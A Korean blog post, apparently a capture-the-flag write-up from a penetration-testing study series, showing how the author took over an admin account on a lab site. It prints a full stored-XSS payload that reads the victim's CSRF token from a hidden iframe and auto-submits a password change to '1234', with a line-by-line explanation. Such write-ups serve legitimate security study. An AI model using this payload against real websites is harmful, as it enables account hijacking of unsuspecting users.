[모의해킹 스터디] CTF - GET Admin 3

바울·2025년 2월 4일
0

모의해킹 스터디

목록 보기
38/40

문제

이전과 같이 admin 계정을 탈취하는 문제이다.


풀이

bawool 계정 생성 후 마이페이지 접속 후 패킷을 확인해 보면 서버 측에서 csrf token을 발행하는 걸 볼 수 있다. admin 계정의 정보를 바꾸려면 admin 계정의 csrf token을 사용해야 할 것이다. 일단 csrf token에 접근하기 위한 경로를 확인해 보자.

document를 이용해서 csrf token 값에 접근할 수 있다. 이 말은 곧 admin 계정의 csrf token에도 접근할 수 있다는 것이다.

회원 정보 수정 시 csrf_token 파라미터도 포함되는 걸 알 수 있고 GET 요청 시에는 에러가 발생하기 때문에 POST 요청으로 csrf 공격을 수행해야 한다.

xss 취약점을 찾기 위해 게시판으로 이동

스크립트 작성 후 작성 글 페이지 접속 시 스크립트 출력, 게시글 제목과 내용 부분에 xss 취약점 확인

공격 코드

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="csrf" style="display:none;" onload="getToken()"></iframe>
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" target="myFrame" id="myForm">
<input type="hidden" name="pw" value="1234"/>
<input type="hidden" name="csrf_token" value="" id="token"/>
</form>
<script>
function getToken() {
    var myIframe = document.getElementById('csrf');
    var dom = myIframe.contentDocument;
    var token = dom.getElementsByName('csrf_token')[0].value
    document.getElementById('token').value = token;
    document.getElementById('myForm').submit();
}
</script>

코드 설명

1️⃣ CSRF 토큰을 포함한 페이지 로드

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="csrf" style="display:none;" onload="getToken()"></iframe>
  • iframe을 사용하여 CSRF 토큰을 포함한 페이지(mypage.php)를 로드
  • onload="getToken()" 속성을 사용하여 페이지가 로드된 후 getToken() 함수를 실행

2️⃣ 공격 요청을 보낼 iframe 생성

<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
  • 공격 요청을 보낼 iframe을 숨김(display:none;)
  • sandbox="allow-scripts" 옵션을 사용하여 팝업창을 숨김

3️⃣ CSRF 공격용 form 생성

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" target="myFrame" id="myForm">
  <input type="hidden" name="pw" value="1234"/>
  <input type="hidden" name="csrf_token" value="" id="token"/>
</form>
  • action="mypage_update.php" → 비밀번호 변경 요청을 보낼 대상 URL
  • target="myFrame" → 숨겨진 iframe을 통해 요청을 보냄
  • name="pw" value="1234" → 비밀번호를 1234로 변경하려는 시도
  • name="csrf_token" value="" id="token" → CSRF 토큰을 채워서 보낼 예정

4️⃣ CSRF 토큰을 추출하는 getToken() 함수

<script>
function getToken() {
    var myIframe = document.getElementById('csrf');
    var dom = myIframe.contentDocument;
    var token = dom.getElementsByName('csrf_token')[0].value;
    document.getElementById('token').value = token;
    document.getElementById('myForm').submit();
}
</script>
  • getElementsByName('csrf_token')[0].value를 사용하여 CSRF 토큰 값을 추출
  • document.getElementById('token').value = token; → 폼의 CSRF 토큰 입력란을 채움
  • document.getElementById('myForm').submit(); → 자동으로 폼을 제출 (CSRF 공격 실행)

게시글 작성 후 admin 계정 접속 요청

admin 계정으로 로그인 시 flag 획득!

0개의 댓글